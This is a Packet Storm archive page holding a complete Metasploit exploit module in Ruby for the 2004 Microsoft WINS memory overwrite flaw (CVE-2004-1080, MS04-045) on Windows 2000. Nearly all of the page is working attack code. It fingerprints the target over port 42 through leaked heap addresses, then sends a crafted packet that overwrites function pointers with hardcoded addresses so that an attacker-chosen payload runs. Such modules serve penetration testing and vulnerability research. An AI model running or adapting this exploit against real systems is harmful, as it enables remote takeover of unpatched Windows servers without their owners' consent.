Lucene search

K
packetstormH D MoorePACKETSTORM:83138
HistoryNov 26, 2009 - 12:00 a.m.

Microsoft WINS Service Memory Overwrite

2009-11-2600:00:00
H D Moore
packetstormsecurity.com
27

0.97 High

EPSS

Percentile

99.7%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft WINS Service Memory Overwrite',  
'Description' => %q{  
This module exploits a arbitrary memory write flaw in the  
WINS service. This exploit has been tested against Windows  
2000 only.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1080'],  
[ 'OSVDB', '12378'],  
[ 'BID', '11763'],  
[ 'MSB', 'MS04-045'],  
  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 8000,  
'MinNops' => 512,  
'StackAdjustment' => -3500,  
  
},  
'Targets' =>  
[  
[   
'Windows 2000 English', # Tested OK - 11/25/2005 hdm  
{  
'Platform' => 'win',  
'Rets' => [ 0x5391f40, 0x53df4c4, 0x53922e0],  
},  
],  
],  
'DisclosureDate' => 'Dec 14 2004',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(42)  
], self.class )  
end  
  
def check  
ret = fprint()  
  
info = 'This system is running '  
info << ((ret[1] == '?') ? 'an unknown windows version ' : "Windows #{ret[1]} ")  
info << ((ret[2] == '?') ? '' : "with service pack #{ret[2]} ")  
info << (ret[3] ? '(clean heap)' : '(dirty heap)')  
  
print_status(info)  
return ret[0]  
end  
  
def exploit  
ret = fprint()  
  
if (ret[0] != Exploit::CheckCode::Vulnerable)  
print_status("This system does not appear to be vulnerable")  
return  
end  
  
# Windows 2000 SP0, SP2, SP3, SP4 only. SP1 does not have the  
# same function pointer...  
if (ret[1] != '2000' or ret[2] !~ /^[0234]/)  
print_status("This target is not currently supported")  
return  
end  
  
# This flag is un-set if the first leaked address is not the default of  
# 0x05371e90. This can indicate that someone has already tried to exploit  
# this system, or something major happened to the heap that will probably  
# prevent this exploit from working.  
if (not ret[3])  
print_status("Warning: the leaked heap address indicates that this attack may fail");  
end  
  
# The base address of our structure in memory  
base = target['Rets'][0]  
  
# Address of the function pointers to overwrite (courtesy anonymous donor)  
targ = target['Rets'][1]  
  
# Address of the payload on the heap, past the structure  
code = target['Rets'][2]  
  
# Build up the wins packet  
addr = ''  
addr << ([code].pack('V') * 9)  
addr << ([targ - 0x48].pack('V') * 14)  
  
wins = addr * 10  
wins << payload.encoded  
wins << rand_text_english(9200-wins.length, payload_badchars)  
  
wpkt = [wins.length + 8, -1, base].pack('NNN')  
wpkt << wins  
  
print_status(sprintf("Attempting to overwrite 0x%.8x with 0x%.8x (0x%.8x)", targ, code, base))  
  
# Connect and send the request  
connect  
sock.put(wpkt)   
handler  
disconnect  
end  
  
# This fingerprinting routine will cause the structure base address to slide down  
# 120 bytes. Subsequent fingerprints will not push this down any futher, however  
# we need to make sure that fingerprint is always called before exploitation or  
# the alignment will be way off.  
def fprint  
  
ret = [Exploit::CheckCode::Safe, '', '', '']  
  
req = "\x00\x00\x00\x29\x00\x00\x78\x00\x00\x00\x00\x00"+  
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x02\x00\x05"+  
"\x00\x00\x00\x00\x60\x56\x02\x01\x00\x1F\x6E\x03"+  
"\x00\x1F\x6E\x03\x08\xFE\x66\x03\x00"  
  
connect  
sock.put(req)  
data = sock.get_once  
return ret if not data  
  
ptrs = [ data[16,4].unpack('N')[0] ].concat( data[32,12].unpack('VVV') )  
  
print_status(sprintf("WINS Fingerprint: [0x%.8x] 0x%.8x 0x%.8x 0x%.8x", *ptrs))  
  
os = '2000'  
sp = '?'  
vi = false  
  
# Check for Windows 2000 systems  
case ptrs[3]  
when 0x77f8ae78  
sp = '0'  
when 0x77f81f70  
sp = '1'  
when 0x77f82680  
sp = '2'  
when 0x77f83608  
sp = '3'  
when 0x77f89640  
sp = '4'  
when 0x77f82518  
sp = '5'  
when 0x77f81648 # Contributed by grutz[at]jingojango.net  
sp = '3/4'  
end  
  
# Reset the OS string if no match was found  
os = '?' if sp == '?'  
  
# Check for Windows NT 4.0 systems  
if (ptrs[0] > 0x02300000 and ptrs[0] < 0x02400000)  
os = 'NT'  
sp = '?'  
end  
  
# Heap is still pristine...  
vi = true if ptrs[0] == 0x05371e90  
  
# Determine if the patch has already been applied  
req = "\x00\x00\x00\x0F\x00\x00\x78\x00" + data[16, 4] +  
"\x00\x00\x00\x03\x00\x00\x00\x00"  
  
sock.put(req)  
data = sock.get_once  
disconnect  
  
ret[1] = os  
ret[2] = sp  
ret[3] = vi  
  
if (data and data[6, 1] == "\x78")  
ret[0] = Exploit::CheckCode::Vulnerable  
end  
  
return ret  
end  
  
end  
`

0.97 High

EPSS

Percentile

99.7%